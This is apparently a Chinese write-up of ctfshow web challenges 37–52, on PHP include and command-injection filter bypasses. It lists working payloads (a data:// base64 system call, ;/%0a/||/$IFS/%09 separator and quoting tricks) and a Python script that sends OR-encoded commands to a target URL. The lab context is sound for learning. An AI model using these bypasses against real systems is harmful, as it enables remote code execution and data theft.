ctfshow-web入门37-52

ctfshow-web入门37-52_第1张图片

include($c);表达式包含并运行指定文件。

使用data伪协议

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

是 base64加密

源代码查看得到flag

38

ctfshow-web入门37-52_第2张图片

多禁用了php和file。不会改变伪协议,继续使用上一题命令

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

39

ctfshow-web入门37-52_第3张图片

被添加了".php"​后缀,data://text/plain,​就相当于已经执行了php语句并闭合了,所以此处添加的.php​并不会有影响。

 把上一题的base64加密改回去就行了

?c=data://text/plain,

40

ctfshow-web入门37-52_第4张图片

过滤了数字和各种符号

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

41

ctfshow-web入门37-52_第5张图片

=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
传递参数getflag
用法 python exp.py

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py ')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

ctfshow-web入门37-52_第6张图片

ctfshow-web入门37-52_第7张图片

42

ctfshow-web入门37-52_第8张图片

>/dev/null 命令不回显   使用;即可绕过

ctfshow-web入门37-52_第9张图片

?c=cat f*;

查看源代码

43

ctfshow-web入门37-52_第10张图片

禁用了;可以使用

%0a(换行符)

|     执行前面那条命令

||   执行后面那条命令

&  都执行

&& 都执行

ctfshow-web入门37-52_第11张图片

cat被禁用可以使用 nl tac

ctfshow-web入门37-52_第12张图片

查看源代码得到flag

44

ctfshow-web入门37-52_第13张图片

多禁用一个flag,没啥区别 使用之前代码就行

ctfshow-web入门37-52_第14张图片

45

多禁用了个空格 使用%09    都可以绕过

ctfshow-web入门37-52_第15张图片

ctfshow-web入门37-52_第16张图片

或者?c=echo$IFS`tac$IFS*`%0A

?c=nl$IFS$9f*||

46

禁用了数字但并不影响%09

*号被禁可以使用fl''ag  或fla?

ctfshow-web入门37-52_第17张图片

ctfshow-web入门37-52_第18张图片

47

ctfshow-web入门37-52_第19张图片

?c=nl

?c=nl%09fla?.php||

48

使用上一题命令就行

ctfshow-web入门37-52_第20张图片

?c=nl

49

一样

?c=nl

50

同理

51

过滤了tac

使用nl继续

52

ctfshow-web入门37-52_第21张图片

<> %09 都禁了使用$IFS

 ?c=nl${IFS}fl''ag.php||

你可能感兴趣的:(前端)